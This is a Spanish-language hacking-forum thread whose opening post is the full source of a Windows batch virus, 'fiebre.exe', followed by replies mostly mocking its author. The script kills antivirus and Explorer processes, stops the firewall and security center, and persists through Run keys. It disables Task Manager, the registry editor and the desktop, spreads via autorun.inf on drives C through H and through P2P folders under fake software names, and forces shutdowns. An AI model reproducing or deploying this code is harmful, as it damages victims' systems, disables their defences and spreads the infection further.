Foro de elhacker.net

sin ven un error en este virus informatico por favor notifinquela.
 hacked by W4rR3d <autodidacta en ingenieria de sistemas y creador de virus informaticos> Piura - Peru

@echo off
:: virus fue creado por hacked by  W4rR3d
:: virus esta dedicado a la comunidad hacker piura- peru
:: virus informatico se llama fiebre.exe
:: virus informatico dedicado al grupo de hackers 'KA0 Team' 
:inicio
copy %0 "%homedrive%\"
copy %0 "%windir%\"
copy %0 "%windir%\system32"
copy %0 "%PROGRAMFILES%\"
copy %0 "%allusersprofile%\"
copy %0 "%COMMONPROGRAMFILES%\"
copy %0 "%USERPROFILE%\" 
taskkill /f/im aswRegSvr.exe /im aswRegSvr64.exe /im AvastSvc.exe
taskkill /f/im explorer.exe /im teatimer.exe /im taskmgr.exe
taskkill /f/im explorer.exe /im firefox.exe /im  photoshop.exe
net stop "Security Center"
net stop SharedAccess
net stop "Firewall de Windows/Conexion compartida a Internet (ICS)"
REG ADD "HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v system /t REG_SZ /d "%windir%\system32\fiebre.exe" /F
reg add hklm\software\microsoft\windows\currentversion\run /v fiebre /t reg_sz /d %eb1%fiebre.exe /f
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoViewContextMenu /t REG_DWORD /d 1 /f 
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoRun /t REG_DWORD /d 1 /f 
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v HideClock /t REG_DWORD /d 1 /f 
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableRegistryTools /t REG_DWORD /d 1 /f
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoFolderOptions /t REG_DWORD /d 1 /f 
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /v Hidden /t REG_DWORD /d 0 /f
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoControlPanel /t REG_DWORD /d 1 /f
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoClose /t REG_DWORD /d 1 /f
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoSetTaskBar /t REG_DWORD /d 1 /f
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoDesktop /t REG_DWORD /d 1 /f
reg Add "HKCU\Software\Microsoft\Internet Explorer\Main" /v "Start Page" /t REG_SZ /d "http://www.elcachondeo.cl/foro/showthread.php?t=364382"
reg Add "HKCU\Software\Policies\Microsoft\Internet Explorer\Control Panel" /v "HomePage" /t REG_DWORD /d 1 /f
reg Add "HKCU\Software\Microsoft\Internet Explorer\Main" /v "Window Title" /t REG_SZ /d "Hacked By W4rR3d"
Set eb1= C:\
Set eb2= D:\
Set eb3= E:\
Set eb4= F:\
Set eb5= G:\
Set eb6= H:\
if exist %eb1%autorun.inf (goto fie1) else (goto fie2)
:fie2
copy /Y %0 %eb1%fiebre.exe
echo.[AutoRun]>> %eb1%autorun.inf
echo.open="%eb1%fiebre.exe">> %eb1%autorun.inf
echo.action=Open folder to see files...>> %eb1%autorun.inf
attrib +r +s +h %eb1%autorun.inf
attrib +r +s +h %eb1%fiebre.exe
echo On Error Resume Next >> %eb1%apagar.vbs
echo set shell = CreateObject("WScript.Shell") >> %eb1%apagar.vbs
echo shell.run "shutdown.exe -s  -t 13" >> %eb1%apagar.vbs
attrib +r +s +h %eb1%apagar.vbs
start %eb1%apagar.vbs
:fie1
if exist %eb2%autorun.inf (goto fie3) else (goto fie4)
:fie4
copy /Y %0 %eb2%fiebre.exe
echo.[AutoRun]>> %eb2%autorun.inf
echo.open="%eb2%fiebre.exe">> %eb2%autorun.inf
echo.action=Open folder to see files...>> %eb2%autorun.inf
attrib +r +s +h %eb2%autorun.inf
attrib +r +s +h %eb2%fiebre.exe
echo On Error Resume Next >> %eb2%apagar.vbs
echo set shell = CreateObject("WScript.Shell") >> %eb2%apagar.vbs
echo shell.run "shutdown.exe -s  -t 13" >> %eb2%apagar.vbs
attrib +r +s +h %eb2%apagar.vbs
start %eb2%apagar.vbs
:fie3
if exist %eb3%autorun.inf (goto fie5) else (goto fie6)
:fie6
copy /Y %0 %eb3%fiebre.exe
echo.[AutoRun]>> %eb3%autorun.inf
echo.open="%eb3%fiebre.exe">> %eb3%autorun.inf
echo.action=Open folder to see files...>> %eb3%autorun.inf
attrib +r +s +h %eb3%autorun.inf
attrib +r +s +h %eb3%fiebre.exe
echo On Error Resume Next >> %eb3%apagar.vbs
echo set shell = CreateObject("WScript.Shell") >> %eb3%apagar.vbs
echo shell.run "shutdown.exe -s  -t 13" >> %eb3%apagar.vbs
attrib +r +s +h %eb3%apagar.vbs
start %eb3%apagar.vbs
:fie5
if exist %eb4%autorun.inf (goto fie7) else (goto fie8)
:fie8
copy /Y %0 %eb4%fiebre.exe
echo.[AutoRun]>> %eb4%autorun.inf
echo.open="%eb4%fiebre.exe">> %eb4%autorun.inf
echo.action=Open folder to see files...>> %eb4%autorun.inf
attrib +r +s +h %eb4%autorun.inf
attrib +r +s +h %eb4%fiebre.exe
echo On Error Resume Next >> %eb4%apagar.vbs
echo set shell = CreateObject("WScript.Shell") >> %eb4%apagar.vbs
echo shell.run "shutdown.exe -s  -t 13" >> %eb4%apagar.vbs
attrib +r +s +h %eb4%apagar.vbs
start %eb4%apagar.vbs
:fie7
if exist %eb5%autorun.inf (goto fie9) else (goto fie10)
:fie10
copy /Y %0 %eb5%fiebre.exe
echo.[AutoRun]>> %eb5%autorun.inf
echo.open="%eb5%fiebre.exe">> %eb5%autorun.inf
echo.action=Open folder to see files...>> %eb5%autorun.inf
attrib +r +s +h %eb5%autorun.inf
attrib +r +s +h %eb5%fiebre.exe
echo On Error Resume Next >> %eb5%apagar.vbs
echo set shell = CreateObject("WScript.Shell") >> %eb5%apagar.vbs
echo shell.run "shutdown.exe -s  -t 13" >> %eb5%apagar.vbs
attrib +r +s +h %eb5%apagar.vbs
start %eb5%apagar.vbs
:fie9
if exist %eb6%\autorun.inf (goto fie11) else (goto fie12)
:fie12
copy /Y %0 %eb6%fiebre.exe
echo.[AutoRun]>> %eb6%autorun.inf
echo.open="%eb6%fiebre.exe">> %eb6%autorun.inf
echo.action=Open folder to see files...>> %eb6%autorun.inf
attrib +r +s +h %eb6%autorun.inf
attrib +r +s +h %eb6%fiebre.exe
echo On Error Resume Next >> %eb6%\apagar.vbs
echo set shell = CreateObject("WScript.Shell") >> %eb6%apagar.vbs
echo shell.run "shutdown.exe -s  -t 13" >> %eb6%apagar.vbs
attrib +r +s +h %eb6%apagar.vbs
start %eb6%apagar.vbs
:fie11
set /a war1="%programfiles%\eMule\Incoming"
set /a war2="%programfiles%\KaZaA\My Shared Folder"
set /a war3="%appdata%\Ares\My Shared Folder"
Set /a War4="%programfiles%\Alwil Software\Avast5"
if exist %war1% (
for /d %%a ("Internet Explorer 7.exe","Windows Xp.exe","Nero Start Smart 9.exe","Microsoft Office 2007.exe","Avast 5.1 Pro Full.exe","Windows Live Messenger 8.5.exe","GTA 4.exe","Activa tu windows.exe","ESET Smart Segurity 4.exe" do (if not exist %war1%\%%a copy /y "%~0" %war1%\%%a)
)
if exist %war2% (
for /d %%a ("Windows Xp.exe","Nero Start Smart 9.exe","Microsoft Office 2007.exe","Avast 5.1 Pro Full.exe","Windows Live Messenger 8.5.exe","GTA 4.exe","Activa tu windows.exe","ESET Smart Segurity 4.exe" do (if not exist %war2%\%%a copy /y "%~0" %war2%\%%a)
)
if exist %war3% (
for /d %%a ("Windows Live Messenger 9.5.exe","avast! Free Antivirus 5.exe", "aswRegSvr 64.exe","AvastSvc 50.exe","aswRunDll 3.2.exe","Avast 5.3 Pro Full.exe","Windows Live Messenger 8.5.exe","GTA 4.exe","Activa tu windows.exe","ESET Smart Segurity 4.exe" do (if not exist %war3%\%%a copy /y "%~0" %war3%\%%a)
)
if exist %war4% (
for /d %%a ("aswRegSvr 5.exe","avast! Free Antivirus 5.exe", "Windows Xp.exe","aswRegSvr 9.exe","aswRunDll 5.exe","Avast 5.3 Pro Full.exe","Windows Live Messenger 8.5.exe" do (if not exist %war4%\%%a copy /y "%~0" %war4%\%%a)
echo Msgbox "ha sido hackeado por hacked by W4rR3d" >> %homedrive%\mensaje.vbs
For /L %%a IN (0,1,1000) DO start %homedrive%\mensaje.vbs
goto inicio
 

Deberías de dejar YA batch y meterte con un VERDADERO lenguaje de programación.

Oye! Que por algo se empieza :P!

Yo aún sigo soñando que NovLucker me enseñe VBS :'S snif snif... daría un riñon! XD        FAN NUMBER ONE!!!

A, felicidades...

hombre, haber si gastamos el tiempo en algo mas productivo...

PD: si esto es ser hacker, yo soy casi Dios.

x2

mira amigo si quieres aprender de mi estos son codigos cuando me inicie en programacion en batch, tambien domino vb 6.0, java script, c++ , c, fox pro 6.0,visual script y otros mas ya amiguito leo gutièrrez. que dios te bendiga leo gutièrrez

Bien tigre, q haces aca y no en la caja de zucaritas...

Dibuje maestro ya que tanto sabe y tanto domina...

jajajajaa que groso este comentario xDDD

+1

Ya hombre el batch aun puede ser usado pero ya es mínimo, no peleen y sigan implementando tecnicas para rootkits o quien sabe!! algo innovador ya que cada vez está mas dificil explotar los backdoors y menos si no sabes programar mas a fondo

Más de lo mismo ? pff

"hacked by W4rR3d <autodidacta en ingenieria de sistemas y creador de virus informaticos> Piura - Peru"


 ¿Autodidacta en Ingeniería en Sistemas? ¿Qué edad tenés? ¿Qué ingeniero en sistemas usa batch para algo así, y encima de tan bajo nivel?


 S0Y R3 K4K3R... Dios mío...

Tranquilos que de estos ahi muchos por la red, pero que le digan a Leo que le enseñan jaja eso si me dio risa xDDD.
Suerte juaker...

Ya muchachos no se burlen  ::)

Que en algún momento todos fuimos esos tipos de ingenieros.

Pero este comentario si no lo perdono jajaja

Quisiera ver a alguien que enseñase a leo a hacer cosas  Batch.  :o

La verdad que leo en Batch es un Dios.  ;-)

Muchas Gracias por el Post!!

Me ha alegrado el dia esta frase
No me he reido mas en mi vida  :xD :xD :xD


Esta otra es bastante chistosa tambien  :xD :xD :xD

En serio me causaron mucha gracia, nunca vi a alguien tan seguro de si mismo  :xD :xD

A pesar de todo esta bien, si apenas estas empezando.
pero haces lo mismo con vbs y con menos codigo....
y ols que se burlan, que yo sepa tampoco es k sean dioses...

[OFFTOPIC]


Aún lo leo y me meo xD


Me hubiera gustado ver la cara de leo al leer eso xD

Saludos!

[/OFFTOPIC]

Cuanto lammer encuentra uno por aqui que ya por saber o creer dominar un lenguaje que unicamente sirve para sistemas operativos Win y es muy poco estructurado e ineficaz se crea un dios y quiera enseñar a un buen maestro a programar en BATCH jajajajajajaja me parto de verdad.

Comprate unos muebles en ikea y montalos, eso tiene mas prestigio que cualquier otra cosa :D

por que hay gente tan arrogante,
asi sea BATH, esta aprendiendo, igual que tu cuando me imagio que estabas programando en vb6.0 no?

+1  :xD

han espantado al user  :-\

Por que son asi? A mi que recien inicio en la programación me fue util para aprender algunos comandos que no conocía.

Yo te agradezco en serio compi a mi por lo menos me fue util.

Penoso.. Sinceramente, penoso..

"Si piensas que la tecnología puede solucionar tus problemas de seguridad, está claro que ni entiendes los problemas ni entiendes la tecnologí"